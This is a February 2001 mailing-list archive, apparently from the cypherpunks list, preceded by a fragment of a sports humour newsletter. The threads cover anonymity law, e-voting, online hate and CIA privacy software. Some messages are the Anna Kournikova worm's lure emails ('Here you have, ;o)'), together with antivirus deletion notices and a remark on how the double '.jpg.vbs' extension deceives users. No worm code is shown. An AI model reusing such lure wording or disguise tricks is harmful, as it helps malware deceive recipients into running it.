Robert Person of the Philadelphia Phillies was hogtied by 
police, who said the enraged pitcher tried to kick out the 
windows of a police car after his arrest in city's nightclub 
district...

... He shouldn't have tried the high kick - he should have 
tried escaping out of the stretch...

TENNIS
Sunday's episode of "The Simpsons" featured tennis stars 
Andre Agassi, Pete Sampras, Venus Williams and Serena 
Williams... 

... My favorite character on the show was the bald one with 
the yellow complexion - not Homer, I mean Agassi...

ANNA KOURNIKOVA'S BACK!
http://www.comedyontap.com/dailyhump/annak1.htm

XFL
The XFL wasn't as big a turn-on in Week 2, as the football 
league drew only half as many viewers as it did for the 
debut broadcast on NBC...

... Pretty soon it'll be the ex-XFL...

The XFL's Memphis Maniax aren't changing their name despite 
criticism that it is a slap at the mentally ill.  The 
president of the National Mental Health Association says, 
"The name Maniax is demeaning to Americans who are affected 
by mental illness each year."  The Maniax are one of eight 
teams in the XFL, the new football league owed by the World 
Wrestling Federation and NBC...

... They really should change the name to avoid offending 
the majority of their viewers...

THIS WEEK IN SPORTS HISTORY
In 1999, the San Diego Padres announced that country music 
star Garth Brooks would attend spring training as a 
non-roster player...

... Talk about a screwed up organization - they had Garth 
Brooks playing outfield while Roseanne sang the National 
Anthem...

In 2000, Tom Landry, the stoic, expressionless Dallas 
Cowboys coach who wore a business suit and fedora and led 
America's Team to five Super Bowls, died...

... How could they tell...?

PENALTY BOX
In Florida, O.J. Simpson surrendered to authorities to face 
charges that he during a road-rage argument in December. 
Simpson is charged with burglary of a car and misdemeanor 
battery of motorist Jeffrey Pattinson...

... You'd think OJ would have learned by now not to cut in 
front of anybody...

For the entire Offensive Line:
http://www.sportshollywood.com/shnews.html

Akili Smith, the Cincinnati Bengals' second-year 
quarterback, was arrested in San Diego Sunday for 
investigation of drunken driving.  Smith was pulled over for 
driving the wrong way down a one-way street.  He told 
officers he was looking for friends...

... You know, where everybody knows your name...
YOU'RE OUT:
"I'll be back." 
-Heavyweight boxer Peter McNeeley, five days after being 
pummeled in his fight with Mike Tyson.

The Dumbest Sports Quotes of All Time:
http://www.sportshollywood.com/dumbquotes.html

EDITORS NOTE: I've met our new SportsHollywood babe, and let 
me say this. OOOFTA! She gave me a really nice bottle of 
cologne and every time I spray it on (every morning) I 
fantasize about her and me, baby.... Mmmm -- Rodney Lee



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From bill.stewart at pobox.com  Mon Feb 12 13:04:47 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Mon, 12 Feb 2001 13:04:47 -0800
Subject: Slashdot | Michigan May Outlaw Anonymity Online
In-Reply-To: <Pine.LNX.4.10.10102111843310.23650-100000@clueserver.org>
References: <3A874B3D.6FE1257C@ssz.com>
Message-ID: <3.0.5.32.20010212130447.01ca3330@idiom.com>


At 06:48 PM 2/11/01 -0800, Alan Olsen wrote:
>> http://slashdot.org/yro/01/02/11/1829225.shtml
>There are times when I wish I had enough money to hire the lawyers it
>would take to initiate a false advertising suit against the United States
>for billing itself as a "Free country". 

Remember that this isn't a law - it's a proposal by one cop.
In a free country, you always expect at least one cop or politician
to have some offensive or wacko idea that makes the press -
the real questions are how far can he run with it,
does his electorate throw him out on his ear next election,
can he convince the legislature to act on his proposal,
and do the courts throw the law out if it gets made.

With the label "Child Pornography" attached to the proposal,
any legislators who understand it and want to block it 
have to walk carefully, but the old "refer it to the committee on
whatever and let it get boring things attached to it and studies done
until everybody lets it die" trick is usually safe,
especially if it can get reviewed by the committee's counsel
in the light of existing court cases like McIntyre.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From steve at tightrope.demon.co.uk  Mon Feb 12 05:06:28 2001
From: steve at tightrope.demon.co.uk (Steve Mynott)
Date: 12 Feb 2001 13:06:28 +0000
Subject: Brit Intel Telling Tales
In-Reply-To: Ken Brown's message of "Mon, 12 Feb 2001 10:28:41 +0000"
References: <200102091951.OAA03764@maynard.mail.mindspring.net> <3A87BAD9.4F50D6E4@ccs.bbk.ac.uk>
Message-ID: <m2ofw89hkb.fsf@squack.com>



> John Young wrote:

[ .. ]

> > The named officer is the center of a major investigation
> > of orchestrated murders assisted by British intel.

Is there any actual evidence that is genuine?

There are numerous parties (various terrorist groups) that spread
misinformation.

-- 
1024/D9C69DF9 steve mynott steve at tightrope.demon.co.uk

    
    internet killed the bbs star




From lvild at usa.net  Mon Feb 12 13:14:41 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 12 Feb 2001 13:14:41 PST
Subject: [Re: Slashdot | Michigan May Outlaw Anonymity Online]
Message-ID: <20010212211441.2520.qmail@www0h.netaddress.usa.net>


You can't expect to have privacy from ghosts,
but ghosts can only scare fertile/isolated minds.

Alan Olsen <alan at clueserver.org> wrote:
> 
> On Sun, 11 Feb 2001, Jim Choate wrote:
> 
> > http://slashdot.org/yro/01/02/11/1829225.shtml
> 
> There are times when I wish I had enough money to hire the lawyers it
> would take to initiate a false advertising suit against the United States
> for billing itself as a "Free country". 
> 
> For a country that bills itself as a champion of Freedom and Liberty(tm)
> throughout the world, they sure seem to enact alot of laws treating
> freedom as something that should be stamped out wherever it is found.
> 
> Kind of like Government laws on privacy.  Privacy from everyone but the
> Government.
> 
> alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
> Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
>     "In the future, everything will have its 15 minutes of blame."


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From syverson at itd.nrl.navy.mil  Mon Feb 12 11:02:42 2001
From: syverson at itd.nrl.navy.mil (Paul Syverson)
Date: Mon, 12 Feb 2001 14:02:42 -0500 (EST)
Subject: FC01 E-Voting Panel Description
Message-ID: <mailman.362.1576007496.31620.cypherpunks-legacy@lists.cpunks.org>


====================================================================

          Panel: The Business of Electronic Voting

Place: Financial Cryptography 2001, Grand Cayman, Feb 21st, 2001 10:40 AM.

 Panel Chair:  Moti Yung, CertCo
 Panelists: Ed Gerck, safevote.com
            Andy Neff, VoteHere.net
            Ron Rivest, MIT
            Avi Rubin, AT&T research

Abstract:

This panel will concentrate on the emerging business of e-voting.

The problems associated with traditional voting machines in a national
election---their unreliability, inaccuracy and other potential
hazards---were placed in an international limelight by the last US
presidential election.  At the same time, but less conspicuously, an
industry centered around e-voting has started to emerge, offering
various solutions for national, boardroom, company-wide, and other
sorts of elections.

Indeed, the cryptographic research community has dealt with issues
related to security and robustness of e-voting as a fundamental
protocol problem.  In contrast, this panel will discuss issues
regarding the real-life aspects of actual implementations of voting
systems.

We will discuss basic requirements and problems associated with the
reality of election technology and the business built around it,
covering issues of reliability, fairness, and scalability, and asking
such questions as: Does one solution fit all situations?  How much
security is actually required?  Is e-voting for real?  How far are we
from ``real'' voting?  Is the Internet the right arena for voting?
What is the interaction between the technology and its quality and the
business?  Is it a business at all?  (Is there money to be made, and
how?  Alternatively: does e-voting really belong in ``financial
cryptography''?)  What are the social and legal implications of
e-voting?

We hope to learn about new angles to examine voting problems, to learn
about related burning issues of all kinds (social, business,
technology), and to learn about new questions for further basic,
systems, market, legal or social research.

====================================================================

--- end forwarded text


-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From syverson at itd.nrl.navy.mil  Mon Feb 12 11:02:42 2001
From: syverson at itd.nrl.navy.mil (Paul Syverson)
Date: Mon, 12 Feb 2001 14:02:42 -0500 (EST)
Subject: FC01 E-Voting Panel Description
Message-ID: <mailman.363.1576007496.31620.cypherpunks-legacy@lists.cpunks.org>


====================================================================

          Panel: The Business of Electronic Voting

Place: Financial Cryptography 2001, Grand Cayman, Feb 21st, 2001 10:40 AM.

 Panel Chair:  Moti Yung, CertCo
 Panelists: Ed Gerck, safevote.com
            Andy Neff, VoteHere.net
            Ron Rivest, MIT
            Avi Rubin, AT&T research

Abstract:

This panel will concentrate on the emerging business of e-voting.

The problems associated with traditional voting machines in a national
election---their unreliability, inaccuracy and other potential
hazards---were placed in an international limelight by the last US
presidential election.  At the same time, but less conspicuously, an
industry centered around e-voting has started to emerge, offering
various solutions for national, boardroom, company-wide, and other
sorts of elections.

Indeed, the cryptographic research community has dealt with issues
related to security and robustness of e-voting as a fundamental
protocol problem.  In contrast, this panel will discuss issues
regarding the real-life aspects of actual implementations of voting
systems.

We will discuss basic requirements and problems associated with the
reality of election technology and the business built around it,
covering issues of reliability, fairness, and scalability, and asking
such questions as: Does one solution fit all situations?  How much
security is actually required?  Is e-voting for real?  How far are we
from ``real'' voting?  Is the Internet the right arena for voting?
What is the interaction between the technology and its quality and the
business?  Is it a business at all?  (Is there money to be made, and
how?  Alternatively: does e-voting really belong in ``financial
cryptography''?)  What are the social and legal implications of
e-voting?

We hope to learn about new angles to examine voting problems, to learn
about related burning issues of all kinds (social, business,
technology), and to learn about new questions for further basic,
systems, market, legal or social research.

====================================================================

--- end forwarded text


-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From reeza at flex.com  Mon Feb 12 17:31:00 2001
From: reeza at flex.com (Reese)
Date: Mon, 12 Feb 2001 15:31:00 -1000
Subject: (RE: Crypto McCarthyism ...thoughts,   gentlemen?)
In-Reply-To: <Pine.LNX.4.21.0102121546470.24135-100000@bolt.sonic.net>
References: <NEBBJHBKILFDJEFIABHPGECECCAA.aimee.farr@pobox.com>
Message-ID: <4.3.2.7.2.20010212153022.00cef100@flex.com>


At 04:16 PM 2/12/01 -0800, Ray Dillinger wrote:

 >As to the "moral boundaries" issue, I'll have to ask my girlfriend's
 >husband about that - his dissertation was about what musical styles
 >evolve in cultures whose moral boundaries are in conflict or change.

That sounds like an interesting diss, I wonder if he's willing to share?

Reese




From lvild at usa.net  Mon Feb 12 16:13:19 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 12 Feb 2001 16:13:19 PST
Subject: [RE: Slashdot | Michigan May Outlaw Anonymity Online]
Message-ID: <20010213001319.24487.qmail@nw173.netaddress.usa.net>


We are living a fantasy when we expect the government (who ever/what ever it's
supposed to be) not to dictate our lives when we live in fear of retaliation
for not paying our big brother royalties by way of taxes; not to mention there
are undisclosed means of taxation.
But let's not worry so much of differences in power, for the poor and peace
makers will inherit the world. -somewhere in the Bible-

Jim Choate <ravage at ssz.com> wrote:
> 
> 
> On Mon, 12 Feb 2001, Aimee Farr wrote:
> 
> > First, I like to think the 1st Amendment includes the right to _receive_
> > anonymously, as well as send/publish -- which implicates anonymous
digital
> > cash.
> 
> This seems to hinge on two points. The first being that 'speech/print' is
> equivalent in some sense to 'read/hear'. The second being the
> non-enumeracy clause of the 9th.
> 
> Clearly being able to speek/publish is worthless unless the audience has
> free and unhindered access. Note as an aside this conflicts with aspects
> of IP as currently practiced.
> 
> Another aspect that isn't clearly covered IMO is the role of 'consent' in
> anonymous communications. After all we are talking about a right, the
> right to make the choice based on personal beliefs. That clearly has to
> also protect those people who don't want to receive material anonymously.
> 
> After all, your rights extend only until they interfere with anothers.
> 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From bear at sonic.net  Mon Feb 12 16:16:33 2001
From: bear at sonic.net (Ray Dillinger)
Date: Mon, 12 Feb 2001 16:16:33 -0800 (PST)
Subject: (RE: Crypto McCarthyism ...thoughts,   gentlemen?)
In-Reply-To: <NEBBJHBKILFDJEFIABHPGECECCAA.aimee.farr@pobox.com>
Message-ID: <Pine.LNX.4.21.0102121546470.24135-100000@bolt.sonic.net>




On Sun, 11 Feb 2001, Aimee Farr wrote:

>Yes. However, I've been here a while. The dynamics of this community is
>somewhat difficult to grasp, and I can only beg your understanding of the
>same.

One of the crucial things needed to understand what goes on cypherpunks 
is that about three-quarters of the people see half or less of the 
posts.  Having set up spamfilters adequate to give the list a reasonable 
S/N, you wind up having cut out a substantial fraction of the signal. 

Another crucial thing needed to understand what goes on cypherpunks 
are that certain of the regulars are trolls and/or cranks, and will 
say utterly outrageous things simply in order to "tweak" the presumed 
eavesdroppers or scare away people whom they regard as too timid to 
be worth talking to anyhow. It's best interpreted as performance art 
after the style of Andy Kaufmann. 

Regarding the paper you referred us to:  While the author has come 
up with a lot of references as quotes to cite, few or none of them 
bear directly on the central theme of his paper.  He presents a 
number of people who have a number of interesting things to say, 
some of them even on topic, but NO research or study that supports 
his central point of electronic communications as a first cause for 
the development of mass hate. A vehicle, sure.  But not a first 
cause.  And there's nothing really unique about it as a vehicle.

Television, in my opinion, is far more dangerous in that regard, 
due to having fewer available channels.  With TV, it takes only 
a very few people to decide that the airwaves should all be 
saturated with the same lopsided viewpoints.  The internet, by 
comparison, is chaos. 

People uninterested in hate will find no reason whatsoever to visit 
hate sites, and since virtually everything is available (see 
http://www.bonsaikitten.com/ or 
http://www.thecorporation.com/oneoffs/96/kittyporn/
for examples of how weird it can get out there) a call to hate 
can be made by anoyone, but will attract no attention outside the 
limited community that has self-selected as being a priori interested 
in it. 

Even the relatively small set of people who are interested in hate 
find themselves spoiled for choice; Name any group of people, and 
you can find dozens of hate-mongers calling for their extermination 
on the web.  In this environment, it is virtually inconcievable that 
any *one* hate ideology should ever become the dominant hate 
ideology -- this breaks up the process described in the paper at 
the "identification of villains" stage. 

As to the "moral boundaries" issue, I'll have to ask my girlfriend's 
husband about that - his dissertation was about what musical styles 
evolve in cultures whose moral boundaries are in conflict or change.

				Bear





From aimee.farr at pobox.com  Mon Feb 12 14:30:18 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Mon, 12 Feb 2001 16:30:18 -0600
Subject: Slashdot | Michigan May Outlaw Anonymity Online
In-Reply-To: <3A874B3D.6FE1257C@ssz.com>
Message-ID: <NEBBJHBKILFDJEFIABHPCEEHCCAA.aimee.farr@pobox.com>


Mr. Choate said: " http://slashdot.org/yro/01/02/11/1829225.shtml ."

~
First, I like to think the 1st Amendment includes the right to _receive_
anonymously, as well as send/publish -- which implicates anonymous digital
cash. Second, sounds like _Lamont_, but it's content-neutral on its face. In
_Lamont_ the postal tried to make people "sign up" in order to receive
communist propaganda. Not surprisingly, people hesitated....
LAMONT @
http://caselaw.lp.findlaw.com/scripts/getcase.pl?navby=case&court=us&vol=381
&page=301.

They will argue the statute is content-neutral, aimed at secondary effects,
and withstands intermediate scrutiny....
RENTON @
http://caselaw.lp.findlaw.com/scripts/getcase.pl?navby=case&court=us&vol=475
&page=41

Regarding ID requirements and ID as "content"....
MILLER @ http://www.aclu.org/court/aclugavmiller.html
MCINTYRE @ http://www.cpsr.org/cpsr/free_speech/mcintyre.txt

If they can't get in the constitutional front door, there's always the back.
<epiphany>... that would be why "cypherpunks write code;" what Mr. Back was
trying to impart to me. Ah.

aimee.farr at pobox.com
Aimee E. Farr, Esq.
Law Office Of Aimee E. Farr
5400 Bosque, Suite 675
Waco, Texas 76710-4418
office: 254.751.0030
fax: 254.751.0963







From ravage at einstein.ssz.com  Mon Feb 12 15:13:13 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 12 Feb 2001 17:13:13 -0600 (CST)
Subject: Slashdot | Michigan May Outlaw Anonymity Online
In-Reply-To: <NEBBJHBKILFDJEFIABHPCEEHCCAA.aimee.farr@pobox.com>
Message-ID: <Pine.LNX.3.96.1010212170653.356z-100000@einstein.ssz.com>



On Mon, 12 Feb 2001, Aimee Farr wrote:

> First, I like to think the 1st Amendment includes the right to _receive_
> anonymously, as well as send/publish -- which implicates anonymous digital
> cash.

This seems to hinge on two points. The first being that 'speech/print' is
equivalent in some sense to 'read/hear'. The second being the
non-enumeracy clause of the 9th.

Clearly being able to speek/publish is worthless unless the audience has
free and unhindered access. Note as an aside this conflicts with aspects
of IP as currently practiced.

Another aspect that isn't clearly covered IMO is the role of 'consent' in
anonymous communications. After all we are talking about a right, the
right to make the choice based on personal beliefs. That clearly has to
also protect those people who don't want to receive material anonymously.

After all, your rights extend only until they interfere with anothers.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ANTIGEN_EXCHANGE at thinklinkinc.com  Mon Feb 12 17:22:11 2001
From: ANTIGEN_EXCHANGE at thinklinkinc.com (ANTIGEN_EXCHANGE)
Date: Mon, 12 Feb 2001 17:22:11 -0800
Subject: Antigen found =*.vbs file
Message-ID: <3475CE1F1D75D4118174009027A4CDE6322CD2@exchange.thinklinkinc.com>

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Vin McLellan  and was discovered in IMC Queues\Inbound
located at ITC/Corporate/EXCHANGE.
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From info at giganetstore.com  Mon Feb 12 09:27:35 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Mon, 12 Feb 2001 17:27:35 -0000
Subject: NOKIA, Connecting People
Message-ID: <02d043527170c21WWWSHOPENS@wwwshopens.giganetstore.com>

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From bear at sonic.net  Mon Feb 12 18:11:04 2001
From: bear at sonic.net (Ray Dillinger)
Date: Mon, 12 Feb 2001 18:11:04 -0800 (PST)
Subject: The meek will inherit what, exactly?
In-Reply-To: <20010213001319.24487.qmail@nw173.netaddress.usa.net>
Message-ID: <Pine.LNX.4.21.0102121746050.5508-100000@bolt.sonic.net>




On 12 Feb 2001, LUIS VILDOSOLA wrote:


>But let's not worry so much of differences in power, for the poor and peace
>makers will inherit the world. -somewhere in the Bible-

"Blessed are the meek, for they shall inherit the earth." 
		-Matthew 5, verse 5. 

Think about that, though.  While it may have seemed reassuring 
to our ancestors, who did not anticipate modern capabilities for 
destruction, what exactly will be left for the meek to inherit, 
after all the non-meek run roughshod over this sorry old planet 
until it becomes too decripit for them to exploit and they go 
elsewhere leaving it to the meek?  

I don't think prime real estate, exactly,  Perhaps a near-barren 
rock with a poisonous radioactive atmosphere and a few surviving 
species of insects and fungus. Perhaps less than that.

I regard that one verse, and its implications, as one of the most 
dire, tragic, and hopeless of all the prophecies in the bible. 

				Bear


				




From ANTIGEN_EXCHANGE at thinklinkinc.com  Mon Feb 12 19:16:06 2001
From: ANTIGEN_EXCHANGE at thinklinkinc.com (ANTIGEN_EXCHANGE)
Date: Mon, 12 Feb 2001 19:16:06 -0800
Subject: Antigen found =*.vbs file
Message-ID: <3475CE1F1D75D4118174009027A4CDE6322CD6@exchange.thinklinkinc.com>

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Vin McLellan  and was discovered in IMC Queues\Inbound
located at ITC/Corporate/EXCHANGE.
-------------- next part --------------
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From pzakas at toucancapital.com  Mon Feb 12 16:55:27 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Mon, 12 Feb 2001 19:55:27 -0500
Subject: [Re: Slashdot | Michigan May Outlaw Anonymity Online]
In-Reply-To: <20010212211441.2520.qmail@www0h.netaddress.usa.net>
Message-ID: <BNEBJALEDJIGAAEGHIGJGEAHCBAA.pzakas@toucancapital.com>



I'm sure everyone here feels as enraged by this nonsense as I do. why don't
they try to be a little more creative in catching the bad guys?  are
pedophiles and other bad guys so stupid as to actually sign-up for free isp
service with their real names and credit card numbers?  (well perhaps by
fiat they are incredibly stupid)

if you know the suspect's online user name, why not force a local update of
the dialer app or 'call to' phone number in the case of the win dialer app,
and have the suspect dial into a toll-free exchange?  this reveals the
number used to originate the call (even if you have the caller-id block
enabled...this is just part of the way toll-free calls work).  these calls
could be matched by login logs to figure out who in real life is the user.
at least one major isp does this today and it works well, and conforms to
requirements for warrants (not a lawyer, but i know this only happens if an
appropriate legal document is issued).

if you know the suspect in real life, a phone tap will include the number
being called (even electronically), handshaking, etc.  plus one could
capture data revealing sites visited, etc.  it takes work to decode this
information, but it's very good information.

seeing this story motivated me to donate more money to eff.org and epic.org.
and i'm more convinced than ever for the need to start my own private isp
and data repository.  although, to be honest, the fear of pedophiles using
my own anonymous isp forces me to consider a 'web of trust' model in which
only the invited can participate.

phillip

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of LUIS VILDOSOLA
Sent: Monday, February 12, 2001 4:15 PM
To: cypherpunks at einstein.ssz.com
Subject: Re: [Re: Slashdot | Michigan May Outlaw Anonymity Online]



You can't expect to have privacy from ghosts,
but ghosts can only scare fertile/isolated minds.

Alan Olsen <alan at clueserver.org> wrote:
>
> On Sun, 11 Feb 2001, Jim Choate wrote:
>
> > http://slashdot.org/yro/01/02/11/1829225.shtml
>
> There are times when I wish I had enough money to hire the lawyers it
> would take to initiate a false advertising suit against the United States
> for billing itself as a "Free country".
>
> For a country that bills itself as a champion of Freedom and Liberty(tm)
> throughout the world, they sure seem to enact alot of laws treating
> freedom as something that should be stamped out wherever it is found.
>
> Kind of like Government laws on privacy.  Privacy from everyone but the
> Government.
>
> alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
> Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
>     "In the future, everything will have its 15 minutes of blame."


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1





From vin at shore.net  Mon Feb 12 17:09:32 2001
From: vin at shore.net (Vin McLellan)
Date: Mon, 12 Feb 2001 20:09:32 -0500
Subject: Here you have, ;o)
Message-ID: <000c01c09559$9f9453e0$3c5efea9@vin>

Hi:
Check This!
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From ravage at einstein.ssz.com  Mon Feb 12 18:24:10 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 12 Feb 2001 20:24:10 -0600 (CST)
Subject: FC01 E-Voting Panel Description (fwd)
Message-ID: <Pine.LNX.3.96.1010212202406.356B-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Mon, 12 Feb 2001 16:17:50 -0500
From: "R. A. Hettinga" <rah at shipwright.com>
To: Digital Bearer Settlement List <dbs at philodox.com>, dcsb at ai.mit.edu,
    cryptography at c2.net, coderpunks at toad.com
Subject: FC01 E-Voting Panel Description


--- begin forwarded text



From tcmay at got.net  Mon Feb 12 20:49:42 2001
From: tcmay at got.net (Tim May)
Date: Mon, 12 Feb 2001 20:49:42 -0800
Subject: nightline TONIGHT morphed kiddy porn case
In-Reply-To: <5.0.2.1.0.20010212231607.00ab8010@mail.well.com>
References: <5.0.2.1.0.20010212231607.00ab8010@mail.well.com>
Message-ID: <a0501040db6ae6aa3b315@[207.111.241.145]>


At 11:16 PM -0500 2/12/01, Declan McCullagh wrote:
>FSC Does Nightline
>WASHINGTON - Free Speech Coalition general counsel Jeffrey Douglas 
>and lobbyist Kat Sunlove will discuss the so-called "virtual child 
>porn" case, FSC v. Reno, tonight on Nightline, the long-running 
>late-night ABC news program hosted by Ted Koppel. The program 
>usually begins at 11:30 p.m. Eastern and Pacific times on local and 
>regional ABC affiliates following local news. Check your local 
>television listings - you will not want to miss this critical 
>discussion on the question of whether a computerized image that 
>resembles a child can be classified the same way as an actual image 
>of an actual child.

It's amusing to watch issues brought up on Cypherpunks 8 or 9 years 
ago surfacing in recent weeks. Morphed images, stego for dead drops, 
cyber-stalking, etc.

Reminds me of the opening months of the first Clinton term, when 
"trial balloons" to ban crypto were being floated by Administration 
lackeys masquerading as disinterested parties. The CIA Director is 
out there scaring the congresscritters, giving them the public scare 
story and, presumably, the "if you only knew what we know" secret 
briefing which is designed to turn even the staunchest free speechers 
into quivering police state apologists.

Somewhere this coming spring they probably need another Reichstag 
fire, though. A Sarin attack, or some really juicy cyber-snuff MPEGs 
cooked up by the spooks.

Journalistic sniffing around is increasing. I've had three calls for 
interviews in recent weeks. One I did, but the focus unfortunately 
shifted to the sensational and I expect the final result to be 
uninteresting. Another I declined, citing overexposure of these tired 
old issues. The third I mostly deflected, saying I'm not the best 
person to talk to. Whew.

"Just when I think I'm out, they _pull_ me back in."

--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From lvild at usa.net  Mon Feb 12 20:49:44 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 12 Feb 2001 20:49:44 PST
Subject: [The meek will inherit what, exactly?]
Message-ID: <20010213044944.8723.qmail@nwcst339>


Thanks for getting back on this issue.
However materially or epistemologically contaminated the world becomes, the
meek are the most in number today and historically. Take a look at the third
world, it lives on charity and contamination in great numbers.
Indeed, if there is a world to inherit and the human race is not destroyed as
you say by a nuclear furnace, it looks to me the meek will inherit the world.
That is my view and try projecting it without value judgments.

Ray Dillinger <bear at sonic.net> wrote:
> 
> 
> 
> On 12 Feb 2001, LUIS VILDOSOLA wrote:
> 
> 
> >But let's not worry so much of differences in power, for the poor and
peace
> >makers will inherit the world. -somewhere in the Bible-
> 
> "Blessed are the meek, for they shall inherit the earth." 
> 		-Matthew 5, verse 5. 
> 
> Think about that, though.  While it may have seemed reassuring 
> to our ancestors, who did not anticipate modern capabilities for 
> destruction, what exactly will be left for the meek to inherit, 
> after all the non-meek run roughshod over this sorry old planet 
> until it becomes too decripit for them to exploit and they go 
> elsewhere leaving it to the meek?  
> 
> I don't think prime real estate, exactly,  Perhaps a near-barren 
> rock with a poisonous radioactive atmosphere and a few surviving 
> species of insects and fungus. Perhaps less than that.
> 
> I regard that one verse, and its implications, as one of the most 
> dire, tragic, and hopeless of all the prophecies in the bible. 
> 
> 				Bear
> 
> 
> 				


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From adam at cypherspace.org  Mon Feb 12 17:37:33 2001
From: adam at cypherspace.org (Adam Back)
Date: Mon, 12 Feb 2001 21:37:33 -0400
Subject: Here you have, ;o)
In-Reply-To: <000c01c09559$9f9453e0$3c5efea9@vin>; from Vin McLellan on Mon, Feb 12, 2001 at 08:09:32PM -0500
References: <000c01c09559$9f9453e0$3c5efea9@vin>
Message-ID: <20010212213733.A89524@cypherpunks.ai>


Heh, heh.  Guess who uses outlook :-)

Endless source of amusement as a linux user watching the VB
script worms play out.  I think you actually have to click 
on this one, though the double extension helps as many
users won't see the 2nd .vbs, just the .jpg.

Adam

On Mon, Feb 12, 2001 at 08:09:32PM -0500, Vin McLellan wrote:
> Hi:
> Check This!





From vin at shore.net  Mon Feb 12 19:10:29 2001
From: vin at shore.net (Vin McLellan)
Date: Mon, 12 Feb 2001 22:10:29 -0500
Subject: Here you have, ;o)
Message-ID: <000c01c0956a$850a7160$3c5efea9@vin>

Hi:
Check This!
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From George at Orwellian.Org  Mon Feb 12 19:28:38 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Mon, 12 Feb 2001 22:28:38 -0500 (EST)
Subject: Anonymous Internet for Federal Agents
Message-ID: <200102130328.WAA15930@www9.aa.psiweb.com>


What, no article from Chaotic today regarding
NASA landing a craft on an asteroid?

He only sent it to his three other lists? Whaaaaa!

----

http://interactive.wsj.com/articles/SB981939629132013437.htm
#    
#    February 12, 2001
#    
#    Small Start-Up Helps the CIA
#    To Mask Its Moves on the Web
#    
#    By NEIL KING JR.
#    Staff Reporter of THE WALL STREET JOURNAL
#    
#    How's this for a curious pairing? Stephen Hsu and his partners 
#    at SafeWeb Inc. launch a Web site (www.safeweb.com) offering 
#    the utmost in Internet privacy -- and then hook up with the 
#    notoriously intrusive Central Intelligence Agency.
#    
#    The new alliance between the Oakland, Calif., entrepreneurs and 
#    the spooks from Langley, Va., shows how serious the CIA is about 
#    improving its spycraft. The agency two years ago set up its own 
#    venture-capital firm, known as In-Q-Tel, to search out just the 
#    sort of innovations that SafeWeb offers.
#    
#    The CIA, in this case, wants to use a SafeWeb program to mask 
#    its own movements on the Internet, so it can gather information 
#    incognito. SafeWeb suggests that the CIA also might use its 
#    technology to allow its far-flung agents and informants to 
#    communicate home, without the countries they are spying on ever 
#    knowing.
#    
#    What's puzzling is why a tiny, year-old start-up would want to 
#    link up with an agency that is the nemesis of privacy buffs 
#    everywhere.
#    
#    "I'm sure we'll take a hit from the 5% of our most paranoid 
#    customers," says Mr. Hsu, SafeWeb's 34-year-old co-founder and 
#    a theoretical physicist by training. But the CIA connection, 
#    he says, is deliberately distant. SafeWeb will provide the agency 
#    with customized software, but the CIA will have no access to 
#    the company's Web computers or to the workings of its core 
#    software, he insists.
#    
#    And who better to test the power of its privacy software than 
#    the world's top spies? "If our technology can satisfy them," 
